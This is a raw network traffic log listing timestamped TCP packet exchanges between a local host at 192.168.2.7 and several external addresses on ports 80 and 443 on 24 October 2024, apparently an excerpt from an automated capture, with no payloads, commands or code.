Oct 24, 2024 04:02:06.263001919 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:06.263003111 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:06.263041973 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:06.263046980 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:06.263077974 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:06.263083935 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:06.263109922 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:06.263118982 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:06.263145924 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:06.263150930 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:06.263183117 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:06.263187885 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:06.263225079 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:06.263237000 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:06.263283014 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:06.263345003 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:06.263390064 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:06.263411045 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:06.263456106 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:06.263463020 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:06.263499022 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:06.263504982 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:06.263531923 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:06.263536930 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:06.263566971 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:06.263573885 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:06.263602018 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:06.263609886 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:06.263638973 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:06.263643026 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:06.263674974 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:06.263684034 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:06.263709068 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:06.263715029 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:06.263746023 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:06.263751984 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:06.263777971 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:06.263786077 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:06.263813019 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:06.263818026 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:06.263847113 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:06.263854980 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:06.263880968 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:06.263886929 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:06.263916016 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:06.263926029 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:06.263950109 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:06.263958931 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:06.263987064 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:06.263992071 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:06.264022112 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:06.264033079 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:06.264058113 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:06.264061928 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:06.264091969 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:06.264097929 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:06.264127970 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:06.264132977 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:06.264168978 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:06.303754091 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:06.303812027 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:06.303814888 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:06.303845882 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:06.303858995 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:06.303883076 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:06.303889036 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:06.303919077 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:06.303932905 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:06.303955078 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:06.303966045 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:06.303991079 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:06.304002047 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:06.304027081 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:06.304038048 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:06.304063082 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:06.304075956 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:06.304111004 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:06.304290056 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:06.304323912 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:06.304337025 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:06.304359913 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:06.304367065 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:06.304399967 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:06.337801933 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:06.337863922 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:06.337889910 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:06.337932110 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:08.312355995 CEST	49981	443	192.168.2.7	104.102.49.254
Oct 24, 2024 04:02:08.312383890 CEST	443	49981	104.102.49.254	192.168.2.7
Oct 24, 2024 04:02:08.312489986 CEST	49981	443	192.168.2.7	104.102.49.254
Oct 24, 2024 04:02:08.313775063 CEST	49981	443	192.168.2.7	104.102.49.254
Oct 24, 2024 04:02:08.313786983 CEST	443	49981	104.102.49.254	192.168.2.7
Oct 24, 2024 04:02:08.649441957 CEST	49922	80	192.168.2.7	185.215.113.43
Oct 24, 2024 04:02:08.655782938 CEST	80	49922	185.215.113.43	192.168.2.7
Oct 24, 2024 04:02:08.656204939 CEST	49985	80	192.168.2.7	185.215.113.43
Oct 24, 2024 04:02:08.656243086 CEST	49922	80	192.168.2.7	185.215.113.43
Oct 24, 2024 04:02:08.662108898 CEST	80	49985	185.215.113.43	192.168.2.7
Oct 24, 2024 04:02:08.663814068 CEST	49985	80	192.168.2.7	185.215.113.43
Oct 24, 2024 04:02:08.663927078 CEST	49985	80	192.168.2.7	185.215.113.43
Oct 24, 2024 04:02:08.669225931 CEST	80	49985	185.215.113.43	192.168.2.7
Oct 24, 2024 04:02:09.159216881 CEST	443	49981	104.102.49.254	192.168.2.7
Oct 24, 2024 04:02:09.159291029 CEST	49981	443	192.168.2.7	104.102.49.254
Oct 24, 2024 04:02:09.162375927 CEST	49981	443	192.168.2.7	104.102.49.254
Oct 24, 2024 04:02:09.162380934 CEST	443	49981	104.102.49.254	192.168.2.7
Oct 24, 2024 04:02:09.162698984 CEST	443	49981	104.102.49.254	192.168.2.7
Oct 24, 2024 04:02:09.208098888 CEST	49981	443	192.168.2.7	104.102.49.254
Oct 24, 2024 04:02:09.212412119 CEST	49981	443	192.168.2.7	104.102.49.254
Oct 24, 2024 04:02:09.259330034 CEST	443	49981	104.102.49.254	192.168.2.7
Oct 24, 2024 04:02:09.591680050 CEST	80	49985	185.215.113.43	192.168.2.7
Oct 24, 2024 04:02:09.591795921 CEST	49985	80	192.168.2.7	185.215.113.43
Oct 24, 2024 04:02:09.596313953 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:09.596734047 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:09.601979017 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:09.602032900 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:09.602050066 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:09.602116108 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:09.602272987 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:09.607568979 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:09.786818981 CEST	443	49981	104.102.49.254	192.168.2.7
Oct 24, 2024 04:02:09.786880016 CEST	443	49981	104.102.49.254	192.168.2.7
Oct 24, 2024 04:02:09.786900997 CEST	49981	443	192.168.2.7	104.102.49.254
Oct 24, 2024 04:02:09.786910057 CEST	443	49981	104.102.49.254	192.168.2.7
Oct 24, 2024 04:02:09.786926985 CEST	443	49981	104.102.49.254	192.168.2.7
Oct 24, 2024 04:02:09.786931992 CEST	49981	443	192.168.2.7	104.102.49.254
Oct 24, 2024 04:02:09.786945105 CEST	443	49981	104.102.49.254	192.168.2.7
Oct 24, 2024 04:02:09.786958933 CEST	49981	443	192.168.2.7	104.102.49.254
Oct 24, 2024 04:02:09.787002087 CEST	49981	443	192.168.2.7	104.102.49.254
Oct 24, 2024 04:02:09.787002087 CEST	49981	443	192.168.2.7	104.102.49.254
Oct 24, 2024 04:02:09.903394938 CEST	443	49981	104.102.49.254	192.168.2.7
Oct 24, 2024 04:02:09.903491974 CEST	443	49981	104.102.49.254	192.168.2.7
Oct 24, 2024 04:02:09.903533936 CEST	49981	443	192.168.2.7	104.102.49.254
Oct 24, 2024 04:02:09.903538942 CEST	443	49981	104.102.49.254	192.168.2.7
Oct 24, 2024 04:02:09.903569937 CEST	49981	443	192.168.2.7	104.102.49.254
Oct 24, 2024 04:02:09.903588057 CEST	443	49981	104.102.49.254	192.168.2.7
Oct 24, 2024 04:02:09.903861046 CEST	49981	443	192.168.2.7	104.102.49.254
Oct 24, 2024 04:02:09.903861046 CEST	49981	443	192.168.2.7	104.102.49.254
Oct 24, 2024 04:02:09.903878927 CEST	443	49981	104.102.49.254	192.168.2.7
Oct 24, 2024 04:02:09.903892040 CEST	49981	443	192.168.2.7	104.102.49.254
Oct 24, 2024 04:02:09.903898954 CEST	443	49981	104.102.49.254	192.168.2.7
Oct 24, 2024 04:02:10.499042988 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:10.499057055 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:10.499145985 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:10.499150038 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:10.499171972 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:10.499183893 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:10.499197006 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:10.499211073 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:10.499222994 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:10.499250889 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:10.499250889 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:10.499278069 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:10.499277115 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:10.499288082 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:10.499340057 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:10.504549980 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:10.504565001 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:10.504578114 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:10.504589081 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:10.504635096 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:10.504635096 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:10.652007103 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:10.652036905 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:10.652049065 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:10.652061939 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:10.652076006 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:10.652087927 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:10.652090073 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:10.652087927 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:10.652137041 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:10.652137041 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:10.652383089 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:10.652396917 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:10.652410984 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:10.652422905 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:10.652446985 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:10.652446985 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:10.652663946 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:10.652919054 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:10.652935028 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:10.652947903 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:10.652981043 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:10.652981043 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:10.653203964 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:10.660227060 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:10.660255909 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:10.660294056 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:10.660294056 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:10.770366907 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:10.770534992 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:10.770545959 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:10.770593882 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:10.770593882 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:10.771030903 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:10.771047115 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:10.771058083 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:10.771070957 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:10.771094084 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:10.771172047 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:10.771769047 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:10.771780968 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:10.771792889 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:10.771805048 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:10.771816015 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:10.771835089 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:10.771835089 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:10.771874905 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:10.777259111 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:10.777271986 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:10.777328968 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:10.893182993 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:10.893203020 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:10.893218040 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:10.893418074 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:10.893767118 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:10.893780947 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:10.893794060 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:10.893806934 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:10.893848896 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:10.893848896 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:10.894496918 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:10.894510031 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:10.894522905 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:10.894568920 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:10.894568920 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:10.896897078 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:10.896909952 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:10.896922112 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:10.896972895 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:10.896972895 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:10.899043083 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:10.899054050 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:10.899087906 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:10.899102926 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:11.004307032 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.004321098 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.004398108 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:11.004818916 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.004862070 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.004874945 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.004915953 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.004929066 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.005088091 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:11.005280972 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.005295992 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.005347967 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:11.005507946 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.005518913 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.005531073 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.005552053 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:11.005575895 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:11.013698101 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.013708115 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.013755083 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:11.013756037 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.013803005 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:11.013839960 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.013854027 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.013885975 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:11.013921022 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.014349937 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.014359951 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.014399052 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:11.121099949 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.121112108 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.121577024 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:11.121645927 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.121656895 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.121702909 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:11.121735096 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.121746063 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.121802092 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:11.121802092 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:11.121889114 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.121910095 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.121978045 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:11.122145891 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.122167110 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.122216940 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:11.122303963 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.122313976 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.122960091 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:11.130583048 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.130664110 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.130676031 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.130793095 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:11.131285906 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.131298065 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.131309986 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.131328106 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.131330967 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:11.131330967 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:11.131340027 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.131380081 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:11.131576061 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:11.131664991 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.131676912 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.132410049 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:11.238048077 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.238058090 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.238183022 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:11.238545895 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.238555908 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.238622904 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.238643885 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.238650084 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:11.238656044 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.238688946 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:11.238688946 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:11.239020109 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.239042044 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.239053011 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.239336967 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:11.247628927 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.247642040 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.247654915 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.247665882 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.247687101 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:11.247737885 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:11.247843981 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.247855902 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.247867107 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.247900963 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:11.247900963 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:11.248239994 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.248251915 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.248262882 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.248315096 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:11.248315096 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:11.355038881 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.355214119 CEST	80	49990	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:11.355227947 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:11.355554104 CEST	49990	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:11.355701923 CEST	80	49990	185.215.113.16	192.168.2.7
